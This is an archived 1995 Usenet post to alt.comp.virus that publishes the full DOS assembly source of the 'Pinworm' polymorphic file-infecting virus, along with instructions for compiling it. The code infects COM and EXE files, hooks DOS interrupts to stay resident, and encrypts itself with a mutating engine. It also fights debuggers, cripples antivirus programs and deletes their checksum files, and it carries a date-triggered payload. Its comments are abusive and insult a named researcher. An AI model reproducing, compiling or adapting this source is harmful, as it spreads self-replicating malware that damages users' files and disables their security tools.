home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / PINWORM.ASM < prev    next >
Assembly Source File  |  1995-10-29  |  24KB  |  1,003 lines

  1. From smtp Thu Jan 26 14:38 EST 1995
  2. Received: from ids.net by POBOX.jwu.edu; Thu, 26 Jan 95 14:38 EST
  3. Date: Thu, 26 Jan 1995 14:06:40 -0500 (EST)
  4. From: ids.net!JOSHUAW (JOSHUAW)
  5. To: pobox.jwu.edu!joshuaw 
  6. Content-Length: 23717
  7. Content-Type: binary
  8. Message-Id: <950126140640.868d@ids.net>
  9. Status: RO
  10.  
  11. To: joshuaw@pobox.jwu.edu
  12. Subject: (fwd) PINWORM.ASM
  13. Newsgroups: alt.comp.virus
  14.  
  15. Path: paperboy.ids.net!uunet!nntp.crl.com!crl5.crl.com!not-for-mail
  16. From: yojimbo@crl.com (Douglas Mauldin)
  17. Newsgroups: alt.comp.virus
  18. Subject: PINWORM.ASM
  19. Date: 23 Jan 1995 23:31:03 -0800
  20. Organization: CRL Dialup Internet Access    (415) 705-6060  [Login: guest]
  21. Lines: 976
  22. Message-ID: <3g2abn$b7a@crl5.crl.com>
  23. NNTP-Posting-Host: crl5.crl.com
  24. X-Newsreader: TIN [version 1.2 PL2]
  25.  
  26. ;Someone posted somewhere that they needed the pinworm's source code so here
  27. ;it is compliments of THe QUaRaNTiNE: 
  28.  
  29. ;  compile like so:
  30. ;   TASM /m pinworm
  31. ;   Tlink pinworm
  32. ;   --convert to COM--
  33. ;
  34.  
  35. cseg    segment
  36.     assume    cs: cseg, ds: cseg, es: cseg, ss: cseg
  37.  
  38. ; conditional compilation..
  39. SECOND_CRYPT equ 1                      ; use second cryptor?
  40. XTRA_SPACE   equ 1                      ; xtra space to prevent double cryptor?
  41. INCLUDE_INT3 equ 1                      ; include INT 3 in garbage code?
  42.                                         ; (slows the loop down alot)
  43. KILL_AV      equ 1                      ; Kill AVs as executed?
  44. KILL_CHKLIST equ 1                      ; Kill MSAV/CPAV checksum filez?
  45.  
  46.  
  47. ; thingz to change..
  48. kill_date    equ   19                   ; day of the month to play with user
  49. max_exe      equ 4                      ; max exe file size -high byte
  50. msg_filez    equ 17                     ; number of filenames for our msg
  51.  
  52. ; polymorphic engine options..
  53. inc_buf_size equ 20                     ; INC buf
  54. enc_op_bsize equ 36                     ; ENC buf
  55. ptr_buf_size equ 36                     ; PTR buf
  56. cnt_buf_size equ 36                     ; CNT&OP
  57. dj_buf_size  equ 36                     ; DEC&JMP
  58. loop_disp_size equ 20                   ; loop buf range
  59. ;compile and change the below equate to the second byte of the JNZ operand
  60. org_loop equ    8Dh                     ; original JNZ offset
  61.  
  62.  
  63. signal       equ 0FA01h                 ; AX=signal/INT 21h/installation chk
  64. vsafe_word   equ 5945h                  ; magic word for VSAFE/VWATCH API
  65. enc_size equ    offset first_crypt-offset encrypt
  66. enc2_size equ    offset code_start-offset first_crypt
  67. real_start equ    offset dj_buf+3        ; starting location of encryted code
  68.  
  69.  
  70. org    0h                ; hellacious EXE offset calcs if !0
  71. start:
  72.  
  73. ;---- Encryptor/Decryptor Location
  74. ; Each opcode has predefined ranges to move within - once the opcode is
  75. ; determined, it is placed at the decided location within the buffer.
  76. ; 0 bytes constant
  77. ;
  78.     encrypt:
  79.     ptr_buf    db ptr_buf_size-3 dup (90h)
  80.     db    0BEh
  81.     dw    real_start+100h
  82.     encryptor:
  83.     cnt_buf    db cnt_buf_size-3 dup(90h)
  84.     db    0B8h            ; AX:b8
  85.         dw      offset vend-offset dj_buf
  86.     enc_loop:
  87.     loop_disp db loop_disp_size dup(90h)
  88.     inc_buf    db inc_buf_size dup(90h)
  89.     enc_op_buf db enc_op_bsize dup(90h)
  90.     misc_buf dw 9090h
  91.     word_inc db 90h
  92.     dj_buf    db dj_buf_size-3 dup (90h)
  93.     dec    ax
  94.     jnz    enc_loop        ; for orig. only
  95.     ret_byte db 090h        ; C3h or a NOP equiv.
  96. first_crypt:                 ; end of first cryptor
  97.  
  98.  
  99. ;---- Second encryptor
  100. ; Whose only purpose is to tear the shit out of debuggers. It obviously
  101. ; isn't invincible, but will at least keep the lamerz and ignorant morons
  102. ; like Patti Hoffman out of the code.
  103. ;
  104. ; _ Uses reverse direction word XOR encryption
  105. ; _ Uses the following techniques:
  106. ;    _ JMP into middle of operand
  107. ;    _ Replace word after CALL to kill stepping over call
  108. ;    _ Kills INT 1 vector
  109. ;    _ Disables Keyboard via Port 21h
  110. ;    _ Reverse direction encryption prevents stepping past loop
  111. ;    _ Uses SP as a crucial data register in some locations - if
  112. ;      the debugger uses the program's stack, then it may very well
  113. ;      phuck thingz up nicely.
  114. ;    _ Uses Soft-Ice INT 3 API to lock it up if in memory.
  115. ;
  116.     sti                ; fix CLI in garbage code
  117.     db    0BDh            ; MOV BP,XXXX
  118. bp_calc    dw    0100h
  119.         push    ds es                   ; save segment registers for EXE
  120. IF SECOND_CRYPT
  121.         push    ds
  122. dbg1:    jmp    mov_si            ; 1
  123.     db    0BEh            ; MOV SI,XXXX
  124. mov_si:    db    0BEh            ; MOV SI,XXXX
  125. rel2_off dw    offset heap+1000h    ; org copy: ptr way out there
  126.     call    shit
  127. add_bp:    int    19h            ; fuck 'em if they skipped
  128.     jmp    in_op            ; 1
  129.     db    0BAh            ; MOV DX,XXXX
  130. in_op:    in    al,21h
  131.     push    ax
  132.     or    al,02
  133.     jmp    kill_keyb        ; 1
  134.     db    0C6h
  135. kill_keyb: out    21h,al            ; keyboard=off
  136.     call    shit6
  137. past_shit: jmp    dbl_crypt
  138. shit7:
  139.     xor    ax,ax            ;null es
  140.     mov    es,ax
  141.     mov    bx,word ptr es: [06]    ;get INT 1
  142.     ret
  143. shit:
  144.     mov    word ptr cs: add_bp[bp],0F503h ;ADD SI,BP
  145.     mov    word ptr cs: dec_si[bp],05C17h ;reset our shit sister
  146.     ret
  147. shit2:
  148.     mov    word ptr cs: dec_si[bp],4E4Eh
  149.     mov    word ptr cs: add_bp[bp],19CDh ;reset our shit brother
  150.     call    shit3
  151.     jnc    code_start        ;did they skip shit3?
  152.     xor    dx,cx
  153.     ret
  154.     db    0EAh            ;JMP FAR X:X
  155. shit4:
  156.         db      0BAh                    ;MOV DX,XXXX
  157. sec_enc    dw    0
  158.         mov     di,4A4Dh                ;prepare for Soft-ice
  159.     ret
  160. shit3:
  161.         mov     ax,911h                 ;soft-ice - execute command
  162.         call    shit4
  163.         stc
  164.     dec    word ptr es: [06]    ;2-kill INT 1 vector
  165.         push    si
  166.         mov     si,4647h                ;soft-ice
  167.         int     3                       ;call SI execute - DS:DX-garbage
  168.         pop     si
  169.         ret
  170.  
  171. shit6:    mov    byte ptr cs: past_shit[bp],0EBh
  172.     out    21h,al            ; try turning keyboard off again
  173.     ret
  174.  
  175. dbl_crypt:                 ; main portion of cryptor
  176.     mov    cx,(offset heap-offset ret2_byte)/2+1
  177.     call    shit7
  178. dbl_loop:
  179.     jmp    $+3            ; 1
  180.     db    034h            ; XOR ...
  181.     call    shit3            ; nested is the set DX
  182.     xchg    sp,dx            ; xchg SP and DX
  183.     jmp    xor_op            ; 1
  184.     db    0EAh            ; JMP FAR X:X
  185. xor_op:    xor    word ptr cs: [si],sp    ; the real XOR baby..
  186.     xchg    sp,dx            ; restore SP
  187.     call    shit2
  188. dec_si:    pop    ss            ; fuck 'em if they skipped shit2
  189.     pop    sp
  190.         int     3
  191.     xchg    sp,bx            ; SP=word of old int 1 vec
  192.     dec    cx
  193.     mov    es: [06],sp        ; restore int 1 vector
  194.     xchg    sp,bx            ; restore SP
  195.     jnz    dbl_loop
  196. ret2_byte db    90h,90h
  197.  
  198. ;---- Start of another artificial lifeform
  199.  
  200. ENDIF
  201. code_start:
  202. IF SECOND_CRYPT
  203.         pop     ax es                   ; Get port reg bits (ES=PSP)
  204.     out    21h,al            ; restore keyboard
  205. ENDIF
  206.  
  207.         mov     cs: activate[bp],0      ; reset activation toggle
  208.     mov    cs: mem_word[bp],0    ; reset mem. encryption
  209.  
  210.     inc    si            ; SI!=0
  211.     mov    dx,vsafe_word        ; remove VSAFE/VWATCH from memory
  212.     mov    ax,0FA01h        ; & check for residency of virus too
  213.     int    21h
  214.     or    si,si            ; if SI=0 then it's us
  215.     jz    no_install
  216.  
  217.     mov    ah,2ah            ; get date
  218.     int    21h
  219.     cmp    dl,kill_date        ; is it time to activate?
  220.     jnz    not_time
  221.     mov    cs: activate[bp],1
  222.  
  223. not_time:
  224.  
  225.     mov    ax,es            ; PSP segment   - popped from DS
  226.     dec    ax            ; mcb below PSP m0n
  227.     mov    ds,ax            ; DS=MCB seg
  228.     cmp    byte ptr ds: [0],'Z'    ; Is this the last MCB in chain?
  229.     jnz    no_install
  230.     sub    word ptr ds: [3],(((vend-start+1023)*2)/1024)*64 ; alloc MCB
  231.     sub    word ptr ds: [12h],(((vend-start+1023)*2)/1024)*64 ; alloc PSP
  232.     mov    es,word ptr ds: [12h]    ; get high mem seg
  233.     push    cs
  234.     pop    ds
  235.     mov    si,bp
  236.     mov    cx,(offset vend - offset start)/2+1
  237.     xor    di,di
  238.     rep    movsw            ; copy code to new seg
  239.     xor    ax,ax
  240.     mov    ds,ax            ; null ds
  241.     push    ds
  242.     lds    ax,ds: [21h*4]        ; get 21h vector
  243.     mov    es: word ptr old21+2,ds    ; save S:O
  244.     mov    es: word ptr old21,ax
  245.     pop    ds
  246.     mov    ds: [21h*4+2],es    ; new int 21h seg
  247.     mov    ds: [21h*4],offset new21 ; new offset
  248.  
  249.     call    get_random
  250.     cmp    dl,5
  251.     jle    no_install
  252.     sub    byte ptr ds: [413h],((offset vend-offset start+1023)*2)/1024 ;-totalmem
  253.  
  254. no_install:
  255.  
  256.     xor    si,si            ; null regs..
  257.     xor    di,di            ; some progs actually care..
  258.     xor    ax,ax
  259.     xor    bx,bx
  260.     xor    dx,dx
  261.  
  262.     pop    es ds            ; restore ES DS
  263.     cmp    cs: exe_phile[bp],1
  264.     jz    exe_return
  265.  
  266.     lea    si,org_bytes[bp]    ; com return
  267.     mov    di,0100h        ; -restore first 4 bytes
  268.     movsw
  269.     movsw
  270.  
  271.     mov    ax,100h            ; jump back to 100h
  272.     push    ax
  273. _ret:    ret
  274.  
  275. exe_return:
  276.     mov    cx,ds            ; calc. real CS
  277.     add    cx,10h
  278.     add    word ptr cs: [exe_jump+2+bp],cx
  279.     int    3            ; fix prefetch
  280.     cli
  281.     mov    sp,cs: oldsp[bp]    ; restore old SP..
  282.     sti
  283.     db    0eah
  284. exe_jump dd    0
  285. oldsp    dw    0
  286. exe_phile db    0
  287.  
  288. ;----------------------------------------------------------
  289. ; Infection routine - called from INT 21h handler.
  290. ;    DS:DX=fname
  291. ;      Assumes EXE if first byte is 'M' or 'Z'
  292. ;    Changes/Restores attribute and time/date
  293. ;
  294. ;  If philename ends in 'AV', 'AN', or 'OT' it's not infected and has it's
  295. ;  minimum req. memory in the header (0Ah) changed to FFFFh, thus making it
  296. ;  unusable.
  297. ;
  298. infect_file:
  299.  
  300.     mov    di,dx            ; move filename ptr into an index reg
  301.  
  302.     push    ds            ; search for end of filename(NULL)
  303.     pop    es
  304.     xor    ax,ax
  305.     mov    cx,128
  306.     repnz    scasb
  307.  
  308.     cmp    word ptr [di-3],'EX'    ;.eXE?
  309.     jz    is_exec
  310. chk_com: cmp    word ptr [di-3],'MO'    ;.cOM?
  311.     jnz    _ret
  312. is_exec:
  313. IF KILL_AV
  314.         mov     cs: isav,0
  315.     cmp    word ptr [di-7],'VA'    ;*AV.*? CPAV,MSAV,TBAV,TNTAV
  316.     jz    anti_action
  317.     cmp    word ptr [di-7],'TO'    ;*OT.*? F-PROT
  318.     jz    anti_action
  319.     cmp    word ptr [di-7],'NA'    ;*AN.*?
  320.     jnz    name_ok
  321.     cmp    word ptr [di-9],'CS'    ;*SCAN.*?
  322.     jnz    name_ok
  323. anti_action:
  324.     inc    cs: isav        ; set mark for anti-virus kill
  325. name_ok:
  326. ENDIF
  327.     push    ds            ; save fname ptr segment
  328.     mov    es,ax            ; NULL ES  (ax already 0)
  329.     lds    ax,es: [24h*4]        ; get INT 24h vector
  330.     mov    old_24_off,ax        ; save it
  331.     mov    old_24_seg,ds
  332.     mov    es: [24h*4+2],cs    ; install our handler
  333.     mov    es: [24h*4],offset new_24
  334.     pop    ds            ; restore fname ptr segment
  335.     push    es
  336.     push    cs            ; push ES for restoring INT24h later
  337.     pop    es            ; ES=CS
  338.  
  339.     mov    ax,4300h        ; get phile attribute
  340.     int    21h
  341.     mov    ax,4301h        ; null attribs 4301h
  342.     push    ax cx ds dx        ; save AX-call/CX-attrib/DX:DS
  343.     xor    cx,cx            ; zero all
  344.     int    21h
  345.  
  346.     mov    bx,signal
  347.     mov    ax,3d02h        ; open the file
  348.     int    21h
  349.     jc    close            ; if error..quit infection
  350.  
  351.     xchg    bx,ax            ; get handle
  352.  
  353.     push    cs            ; DS=CS
  354.     pop    ds
  355.  
  356. IF KILL_CHKLIST
  357.         call    kill_chklst             ; kill CHKLIST.MS & .CPS filez
  358. ENDIF
  359.     mov    ax,5700h        ; get file time/date
  360.     int    21h
  361.     push    cx dx            ; save 'em for later
  362.  
  363.     mov    ah,3fh            ; Read first bytes of file
  364.     mov    cx,18h            ; EXE header or just first bytes of COM
  365.     lea    dx,org_bytes        ; buffer used for both
  366.     int    21h
  367.  
  368.     call    offset_end        ; set ptr to end- DXAX=file_size
  369.  
  370.     cmp    byte ptr org_bytes,'M'    ; EXE?
  371.     jz    do_exe
  372.     cmp    byte ptr org_bytes,'Z'    ; EXE?
  373.     jz    do_exe
  374.     cmp    byte ptr org_bytes+3,0    ; CoM infected?
  375.     jz    d_time
  376.  
  377.     dec    exe_phile
  378.  
  379.     push    ax            ; save file size
  380.     add    ax,100h            ; PSP in com
  381.     mov    rel_off,ax        ; save it for decryptor
  382.     mov    bp_calc,ax
  383.  
  384.     call    encrypt_code        ; copy and encrypt code
  385.  
  386.     lea    dx,vend            ; start of newly created code
  387.     mov    cx,offset heap+0FFh    ; virus length+xtra
  388.     add    cl,size_disp        ; add random  ^in case cl exceeds FF
  389.     mov    ah,40h
  390.     int    21h            ; append virus to infected file
  391.  
  392.     call    offset_zero        ; position ptr to beginning of file
  393.  
  394.     pop    ax            ; restore COM file size
  395.     sub    ax,3            ; calculate jmp offset
  396.     mov    word ptr new_jmp+1,ax    ; save it..
  397.  
  398.     lea    dx,new_jmp        ; write the new jmp (E9XXXX,0)
  399.     mov    cx,4            ; total of 4 bytes
  400.     mov    ah,40h
  401.     int    21h
  402.  
  403. d_time:
  404.  
  405.     pop    dx cx            ; pop date/time
  406.     mov    ax,5701h        ; restore the mother fuckers
  407.     int    21h
  408.  
  409. close:
  410.  
  411.     mov    ah,3eh            ; close phile
  412.     int    21h
  413.  
  414.     pop    dx ds cx ax        ; restore attrib
  415.     int    21h
  416.  
  417. dont_do:
  418.     pop    es            ; ES=0
  419.     lds    ax,dword ptr old_24_off    ; restore shitty DOS error handler
  420.     mov    es: [24h*4],ax
  421.     mov    es: [24h*4+2],ds
  422.  
  423.     ret                ; return back to INT 21h handler
  424.  
  425. do_exe:
  426.     cmp    dx,max_exe
  427.     jg    d_time
  428.  
  429.     mov    exe_phile,1
  430.  
  431. IF KILL_AV
  432.         cmp     isav,1                  ; anti-virus software?
  433.     jnz    not_av
  434.     mov    word ptr exe_header[0ah],0FFFFh ; change min. mem to FFFFh
  435.     jmp    write_hdr
  436. not_av:
  437. ENDIF
  438.     cmp    word ptr exe_header[12h],0 ; checksum 0?
  439.     jnz    d_time
  440.  
  441.     mov    cx,mem_word        ; get random word
  442.     inc    cx            ; make sure !0
  443.     mov    word ptr exe_header[12h],cx ; set checksum to!0
  444.     mov    cx,word ptr exe_header[10h] ; get old SP
  445.     mov    oldsp,cx        ; save it..
  446.     mov    word ptr exe_header[10h],0 ; write new SP of 0
  447.  
  448.     les    cx,dword ptr exe_header[14h] ; Save old entry point
  449.     mov    word ptr exe_jump, cx    ; off
  450.     mov    word ptr exe_jump[2], es ; seg
  451.  
  452.     push    cs            ; ES=CS
  453.     pop    es
  454.  
  455.     push    dx ax            ; save file size DX:AX
  456.     cmp    byte ptr exe_header[18h],52h ; PKLITE'd? (v1.13+)
  457.     jz    pklited
  458.     cmp    byte ptr exe_header[18h],40h ; 40+ = new format EXE
  459.     jge    d_time
  460.     pklited:
  461.  
  462.     mov    bp, word ptr exe_header+8h ; calc. new entry point
  463.     mov    cl,4            ; *10h
  464.     shl    bp,cl            ;  ^by shifting one byte
  465.     sub    ax,bp            ; get actual file size-header
  466.     sbb    dx,0
  467.     mov    cx,10h            ; divide me baby
  468.     div    cx
  469.  
  470.     mov    word ptr exe_header+14h,dx ; save new entry point
  471.     mov    word ptr exe_header+16h,ax
  472.     mov    rel_off,dx        ; save it for encryptor
  473.     mov    bp_calc,dx
  474.  
  475.     call    encrypt_code        ; encrypt & copy the code
  476.  
  477.     mov    cx,offset heap+0FFh    ; virus size+xtra
  478.     add    cl,size_disp        ; add random ^in case cl exceeds FFh
  479.     lea    dx,vend            ; new copy in heap
  480.     mov    ah,40h            ; write the damn thing
  481.     int    21h
  482.  
  483.     pop    ax dx            ; AX:DX file size
  484.  
  485.     mov    cx,(offset heap-offset start)+0FFh ; if xceeds ff below
  486.     add    cl,size_disp
  487.     adc    ax,cx
  488.  
  489.     mov    cl,9            ; calc new alloc (512)
  490.     push    ax
  491.     shr    ax,cl
  492.     ror    dx,cl
  493.     stc
  494.     adc    dx,ax
  495.     pop    ax
  496.     and    ah,1
  497.  
  498.     mov    word ptr exe_header+4h,dx ; save new mem. alloc info
  499.     mov    word ptr exe_header+2h,ax
  500.  
  501. write_hdr:
  502.     call    offset_zero        ; position ptr to beginning
  503.  
  504.     mov    cx,18h            ; write fiXed header
  505.     lea    dx,exe_header
  506.     mov    ah,40h
  507.     int    21h
  508.  
  509.     jmp    d_time            ; restore shit/return
  510.  
  511.  
  512. ;----------------------------------------------------------
  513. ; Kill CHKLIST.* filez by nulling attribs, then deleting
  514. ; phile.
  515. ;
  516.  
  517. kill_chklst:
  518.     mov    di,2            ; counter for loop
  519.     lea    dx,chkl1        ; first fname to kill
  520. kill_loop:
  521.     mov    ax,4301h        ; reset attribs
  522.     xor    cx,cx
  523.     int    21h
  524.     mov    ah,41h            ; delete phile
  525.     int    21h
  526.     lea    dx,chkl2        ; second fname to kill
  527.     dec    di
  528.     jnz    kill_loop
  529.  
  530.     ret
  531.  
  532. ;----------------------------------------------------------
  533. ; set file ptr
  534.  
  535. offset_zero:                 ; self explanitory
  536.     xor    al,al
  537.     jmp    set_fp
  538. offset_end:
  539.     mov    al,02h
  540. set_fp:
  541.     mov    ah,42h
  542.     xor    cx,cx
  543.     xor    dx,dx
  544.     int    21h
  545.     ret
  546.  
  547. ;----------------------------------------------------------
  548. ; Morph, copy, & crypt
  549. ;
  550. ;  0 bytes constant
  551. ;  0 operands in constant locations
  552. ;
  553. ; ms:
  554. ;   bit 7
  555. ;       6
  556. ;       5
  557. ;       4  - INCREMENT COUNTER OP
  558. ;       3  - 
  559. ;       2  - INCREMENT ENCRYPTOR OP
  560. ;       1  - ADD&SUB|XOR
  561. ;       0  - WORD|BYTE
  562. ;      IF<20-SELECTION BETWEEN JNZ AND JNS
  563. ;      IF<5-DON'T WRITE ENCRYPTION OPS!
  564. ; sec:
  565. ;      IF<=5-use constant NOP instead of random
  566. ;
  567. encrypt_code:
  568.  
  569.     push    bx            ; save the handle
  570.  
  571. ;---- Fill buffer space with garbage bytes
  572.  
  573.     lea    di,encrypt        ; fill buffer /w it
  574.     mov    bp,enc_size+1
  575.     call    fill_buffer
  576.  
  577. ;---- Randomly select between jmp type : JNZ or JNS
  578.  
  579.     call    get_random
  580.     mov    enc_num,dl        ; store ms count for encryption
  581.     mov    mem_word,dx        ; mem cryption too
  582.     mov    size_disp,dl        ; and size displacment
  583.  
  584.     cmp    dl,20h
  585.     jl    jmp_2
  586.     mov    byte ptr jnz_op,75h    ; use jnz
  587.     jmp    jmp_set
  588.     jmp_2:
  589.     mov    byte ptr jnz_op,79h    ; jns
  590.     jmp_set:
  591.  
  592. ;---- Change jump address
  593.  
  594.     cmp    byte ptr jnz_op+1,org_loop+loop_disp_size ; JNX on max offset?
  595.     jnz    inc_jmp_ofs        ; if not then inc the ptr
  596.     mov    byte ptr jnz_op+1,org_loop ; jump to pos X in buffer
  597.     inc_jmp_ofs:
  598.     inc    byte ptr jnz_op+1    ; increment jmp into buffer
  599.  
  600. ;---- Change encryption type randomly between XOR and ADD&SUB
  601.  
  602.     mov    al,04            ; default to encrypting ADD
  603.     mov    enc_type,2Ch        ; and decrypting SUB
  604.     test    dl,00000010b        ; that bit =1?
  605.     jz    use_add_sub
  606.     mov    al,34h            ; encrypting XOR
  607.     mov    enc_type,34h        ; decrypting XOR
  608.     use_add_sub:
  609.  
  610. ;--- Change register used for the counter
  611.  
  612.     cmp    byte ptr count_op,0BBh    ; skip SP/BP/DI/SI
  613.     jnz    get_reg
  614.     mov    byte ptr count_op,0B7h    ; AX-1
  615.     mov    byte ptr dec_op,47h    ; AX-1
  616.     get_reg:
  617.     inc    byte ptr count_op    ; increment to next OP
  618.     inc    byte ptr dec_op        ; ""
  619.  
  620. ;---- Change position of INC XX
  621.  
  622.     mov    di,inc_ptr        ; get new off for INC XX
  623.     cmp    di,inc_buf_size        ; max position?
  624.     jl    good_inc        ; if not..then continue
  625.     mov    inc_ptr,0        ; use offset 1 next run
  626.     xor    di,di            ; use offset 0 this run
  627.     good_inc:
  628.     inc    inc_ptr            ; increment the ptr for next
  629.  
  630. ;---- Toggle between SI and DI
  631.  
  632.     cmp    byte ptr ptr_set,0BEh    ; using SI?
  633.     jz    chg_di            ; if so, then switch to DI
  634.     mov    byte ptr inc_buf[di],46h ; write INC SI
  635.     dec    byte ptr ptr_set    ; decrement to SI
  636.     jmp    done_chg_ptr
  637.     chg_di:
  638.     mov    byte ptr inc_buf[di],47h ; write INC DI
  639.     inc    byte ptr ptr_set    ; increment to DI
  640.     inc    byte ptr enc_type    ; increment decryptor
  641.     inc    ax            ; increment encryptor
  642.     done_chg_ptr:
  643.  
  644. ;---- Select word or byte encryption
  645.  
  646.     mov    w_b,80h            ; default to byte cryption
  647.     test    dl,00000001b        ; use word?
  648.     jz    use_byte
  649.     mov    w_b,81h            ; now using word en/decryptor
  650.     mov    ch,byte ptr inc_buf[di]    ; get INC op
  651.     mov    byte ptr word_inc,ch    ; write another one
  652.     use_byte:
  653.  
  654. ;---- Increment counter value
  655.  
  656.     cmp    byte ptr crypt_bytes,0Fh ; byte count quite large?
  657.     jnz    inc_cnt            ; if not..increment away
  658.     mov    crypt_bytes,offset vend    ; else..reset byte count
  659.     inc_cnt:
  660.     inc    crypt_bytes        ; increment byte count
  661.  
  662.  
  663. ;---- Set DEC XX /JNS|JNZ operands
  664.  
  665.     mov    di,dec_op_ptr
  666.     cmp    di,dj_buf_size-2
  667.     jl    good_dec_op
  668.     mov    dec_op_ptr,0
  669.     xor    di,di
  670.     good_dec_op:
  671.     inc    dec_op_ptr
  672.     no_inc_dec_op:
  673.     add    di,offset dj_buf
  674.     lea    si,dec_op
  675.     movsw
  676.     movsb
  677.     inc    di            ;word align
  678.     add    rel_off,di        ;chg offset for decryption
  679.     push    di            ;save offset after jmp
  680.  
  681. ;---- Set MOV DI,XXXX|MOV SI,XXXX
  682.  
  683.     mov    di,ptr_op_ptr
  684.     cmp    di,ptr_buf_size-3
  685.     jl    good_ptr_op
  686.     mov    ptr_op_ptr,0
  687.     xor    di,di
  688.     good_ptr_op:
  689.     test    dl,00001000b
  690.     jz    no_inc_ptr_op
  691.     inc    ptr_op_ptr
  692.     no_inc_ptr_op:
  693.     add    di,offset ptr_buf
  694.     lea    si,ptr_set
  695.     movsw
  696.     movsb
  697.  
  698. ;---- Set MOV AX|BX|DX|CX,XXXX
  699.  
  700.     mov    di,count_op_ptr
  701.     cmp    di,cnt_buf_size-3
  702.     jl    good_count_op
  703.     mov    count_op_ptr,0
  704.     xor    di,di
  705.     good_count_op:
  706.     test    dl,00010000b
  707.     jz    no_inc_count_op
  708.     inc    count_op_ptr
  709.     no_inc_count_op:
  710.     add    di,offset cnt_buf
  711.     lea    si,count_op
  712.     movsw
  713.     movsb
  714.  
  715. ;---- Set XOR|ADD&SUB WORD|BYTE CS:|DS:[SI|DI],XX|XXXX
  716.  
  717.     mov    di,enc_op_ptr
  718.     cmp    di,enc_op_bsize-5
  719.     jl    good_enc_ptr
  720.     mov    enc_op_ptr,0
  721.     xor    di,di
  722.     good_enc_ptr:
  723.     test    dl,00000100b
  724.     jz    no_inc_enc_ptr
  725.     inc    enc_op_ptr
  726.     no_inc_enc_ptr:
  727.     add    di,offset enc_op_buf
  728.     mov    bx,di            ; BX points to encrytor pos.
  729.     lea    si,seg_op
  730.     movsw
  731.     movsw
  732.  
  733. ;---- FiX second cryptor offset
  734.  
  735. IF SECOND_CRYPT
  736.     mov    rel2_off,offset heap    ;first gen has mispl. off
  737. ENDIF
  738.  
  739. ;---- Copy virus code along with decryptor to heap
  740.  
  741.     mov    cx, (offset heap-offset start)/2+1
  742.     xor    si,si
  743.         lea     di,vend                 ; ..to heap for encryption
  744.     rep    movsw            ; make another copy of virus
  745.  
  746. IF SECOND_CRYPT
  747. ;---- Call second encryptor first
  748.  
  749.     mov    si,offset vend        ; offset of enc. start..
  750.     add    si,offset heap        ; ..at end of code
  751.     mov    ret2_byte,0C3h
  752.     xor    bp,bp
  753.     push    ax bx
  754.     call    dbl_crypt
  755.     pop    bx ax
  756.     mov    ret2_byte,90h
  757. ENDIF
  758.  
  759. ;---- Set ptr to heap for encryption
  760.  
  761.     pop    si            ; pop offset after jmp
  762.     add    si,offset vend        ; offset we'z bez encrypting
  763.     mov    di,si            ; we might be using DI too
  764.  
  765. ;---- Encrypt the mother fucker
  766.  
  767.     mov    ret_byte,0C3h        ; put RET
  768.     mov    byte ptr [bx+2],al    ; set encryption type
  769.     call    encryptor        ; encrypt the bitch
  770.  
  771.     pop    bx            ; restore phile handle
  772.     ret                ; return
  773.  
  774. ;-----------------------------------------------
  775. ; Fill buffer with random garbage from table
  776. ;  DI=off BP=size
  777. ;  ret: BL=last garbage byte
  778. ;
  779. ;  Decently random..relies on previously encrypted data and MS from clock
  780. ;  to form pointer to the next operand to use..
  781. ;
  782. ;
  783. fill_buffer:
  784.     add    bl,dl            ; previous NOP+previous NOP off
  785.     call    get_random
  786. IF SECOND_CRYPT
  787.         mov     byte ptr sec_enc,cl     ; use CL\DL for 2nd encryptor
  788.     mov    byte ptr sec_enc+1,dh
  789. ENDIF
  790.     cmp    dh,5            ; use random NOPs or constant NOP?
  791.     jg    use_rand
  792.     xor    dx,dx
  793.     jmp    constant
  794. use_rand:
  795.     add    dl,byte ptr vend+200h[di] ; encrypted byte somewhere..
  796.     sub    dl,bl
  797.     and    dl,00001111b        ; extract lower nibble
  798.     xor    dh,dh
  799. constant: mov    si,dx            ; build index ptr
  800.     mov    bl,byte ptr [nops+si]    ; get NOP from table
  801.     mov    byte ptr [di],bl
  802.     inc    di            ; increment buffer ptr
  803.     dec    bp
  804.     jnz    fill_buffer        ; loop
  805.     ret
  806. ;--------------------------
  807. ; get time man - and use it as semi-random word
  808. ;
  809. get_random:
  810.     mov    ah,2ch            ; get clock
  811.     int    21h
  812.     ret
  813.  
  814. ;----------------------------------------------------------
  815. ; Associated bullshit
  816. ;
  817. credits    db    ' _ PI_W_rM_v1.00 - Coded by _irogen in April 1994'
  818. chkl1    db    'CHKLIST.MS',0        ; MSAV shitty checksum
  819. chkl2    db    'CHKLIST.CPS',0        ; CPAV shitty checksum
  820. pin_dir    db    255,'PI_W_rM._g!',0    ; DIR created
  821. root    db    '..',0            ; for changing to org. dir
  822. file1   db      'I_hope_y',0            ; filez created in dir..
  823.     db    'ou_have_',0        ; must be 8 chars each+null
  824.     db    'enjoyed_',0        ; (255 not space)
  825.     db    'your_inf',0
  826.     db    'estation',0
  827.     db    '_by_the_',0
  828.     db    'mighty P',0
  829.     db    'inworm p',0
  830.     db    'arasite╖',0
  831.     db    '╖╖╖╖╖╖╖╖',0
  832.     db    'Fuck_you',0
  833.     db    'all!____',0
  834.         db      '-_irogen',0            ; #13
  835. new_jmp db      0E9h,0,0,0              ; jmp XXXX ,0 (id)
  836. inc_ptr    dw    0            ; ptr to location of INC
  837. enc_op_ptr dw    0            ; actual ENC op ptr
  838. ptr_op_ptr dw    0            ; ptr to ptr set pos
  839. count_op_ptr dw    0            ; ptr to counter reg pos
  840. dec_op_ptr dw    1            ; ptr to decrement counter op pos
  841. activate db    0
  842. isav    db    0
  843.  
  844. seg_op    db    2Eh            ; CS
  845. w_b    db    80h            ; byte=80h word=81h
  846. enc_type db    2Ch            ; SUB BYTE PTR CS:[SI],XXXX ;XOR/34
  847. enc_num    db    0
  848.  
  849. ptr_set    db    0BEh            ; MOV SI,XXXX
  850. rel_off    dw    real_start+100h
  851.  
  852. count_op db    0B8h            ; CX:B9 AX:b8
  853. crypt_bytes dw  offset vend-offset dj_buf
  854.  
  855. dec_op:    dec    ax            ; DEC AX|BX|CX|DX
  856. jnz_op:    db    75h,org_loop
  857.  
  858. nops:   nop                             ; 1 byte garbage OPs.. must be 16
  859. IF INCLUDE_INT3
  860.         int     3
  861. ELSE
  862.         cld
  863. ENDIF
  864.     into
  865.     inc    bp
  866.     dec    bp
  867.     cld
  868.     nop
  869.     stc
  870.     cmc
  871.     clc
  872.     stc
  873.     into
  874.     cli
  875.     sti
  876.     inc    bp
  877. IF INCLUDE_INT3
  878.         int     3
  879. ELSE
  880.         nop
  881. ENDIF
  882.  
  883.  
